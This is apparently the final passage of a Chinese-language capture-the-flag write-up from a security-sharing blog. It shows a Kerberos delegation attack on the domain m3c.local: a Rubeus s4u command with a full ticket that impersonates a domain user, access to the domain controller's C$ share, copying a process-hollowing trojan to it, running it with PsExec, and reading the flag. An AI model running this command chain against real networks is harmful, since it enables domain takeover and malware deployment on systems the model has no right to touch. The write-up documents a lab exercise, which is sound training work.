.\Rubeus.exe s4u /ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgEEooIDsQSCA63F/a5xxjvkZG1EQm8COZCh/ou4ZcGhBYf3/sCS2RXvm6oLKEVoqlCZ2LbtXqrB7hBouFVg8IOR/3lEA9sSduZgfSGhv/RncXwOrqGesP8ldLAH7u08jQQC/YvW433I0J4rRGD/TptBAzgzzIWUyw4mp6Bm5VVABGVrZtE9+8h6yxRGUdZEuSb73UMZJKzbR7TzYIWD8ozmXdaoF0hQmt8gK/ebgBv+5REHugFbOjoUj1u+FwLvF4WweOhxifdUB13/KAOvzFdsRg5xZBWhOF84ElEPjC/wYlGyvLE5QeV11TotG2pLHdTJYnW9fgguQXJkUigvOEUC4j9gjZCxD2VmmUlVI8ByCOYsMV59IdCCblEp5ApscAB4wBbCbVU8fo8ylXRGiqybgnakIgWFSvBXRDoNKeHgCssH3sZdAYyQVYJPSx1pdMax/9k1JGKsWx5fZzjYqCkeW3SuSvU3yw0VmHrXEUnpT6HK4rzzGcsp7nshQ1SRFxe2DIB0+SrCtKUZcz0XLG7JpnFnqRn1ztUQazW3o0b6gOyJDPJJgT0k8NVFETu7WblmLT0HiO+tgsbHTZIDHpj3r+uY9eXFO3G5ExUHVp+x7CCYUSkT7uy/Eeztq+c78mol4s883vhNQkj8/BG+QByiZDlCtSTpAq94foker82KEtSdGLOrndPHCMKhaybUzBKuNE15W0v34ZICH8aTIQeILlzDzO/LINRYc15q3OwKPC655u+lxiDTE7jDuWmj/RvqMjHF3E0oWTUEb0ySsk6eNb7VdUIR5M8NX9jgVsAORH7tAIX3MsJl8Ac1MXKtuEjJWbi5wwzElHqzerWxPSyK9kHoarhzru5j5EeHae0Xf2tdq4KuMEXxTaqtjF2EIqhuB5KK2ITZlIT6SGyDHuptHDS3hDVDv9M9g3C2hgaR0Mh3UWjVYX7FTGstdmodr0xp8HLJYSY4TIlTX6Uy2Fzuy4QB0P0Cy/SRnqCJC3K504yCmQ2W4Rq2lPjsGXHudJQLaOe8ffLsEvi/DeGoyJcjNaDk57DA8vS//6pM63OniklTWOBv3yZOkgqzYRKQCJs3UOHhyzbzV4i9HAU9jwuOyy9nZvAM1cJVWpm7cBhG8KxkafGkNzlY8jyC909GEXuWEw8UF+Sm3WzZt7C52YkIABhOsjxYuC7HqXNRI7RTwIGWxRTk7x/SXh/lVd4OmKdVD2ulCe+/TKTiQFHav6wzHnOewS38WOoeaQ5iFyxM34fAmnp1T6OB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIM3URYjuu4BCVp3DM2ew4XXpYdl1cPyT71xaHsULSqKLoQsbCU0zQy5MT0NBTKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyNDAzMDMwNTAyMjhaphEYDzIwMjQwMzAzMTQzMDAxWqcRGA8yMDI0MDMxMDA0MzAwMVqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0GwlNM0MuTE9DQUw= /impersonateuser:Micheal.Crosley /domain:m3c.local /msdsspn:"time/m3webaw" /altservice:http /ptt

现在我们就可以直接访问了。

dir \\m3dc\c$

现在我们就可以使用psexec来执行我们的木马了。

copy C:\ActiveMQ\webapps\admin\Hollowing.exe \\m3dc\c$\Hollowing.exe.\PsExec64.exe \\m3dc cmd /c "C:\\Hollowing.exe"

最终获取到flag: Cyb3rN3t1C5{C0n$tr@!n3d!}

Relay学安全
这是一个纯分享技术的公众号,只想做安全圈的一股清流,不会发任何广告,不会接受任何广告,只会分享纯技术文章,欢迎各行各业的小伙伴关注。让我们一起提升技术。
 最新文章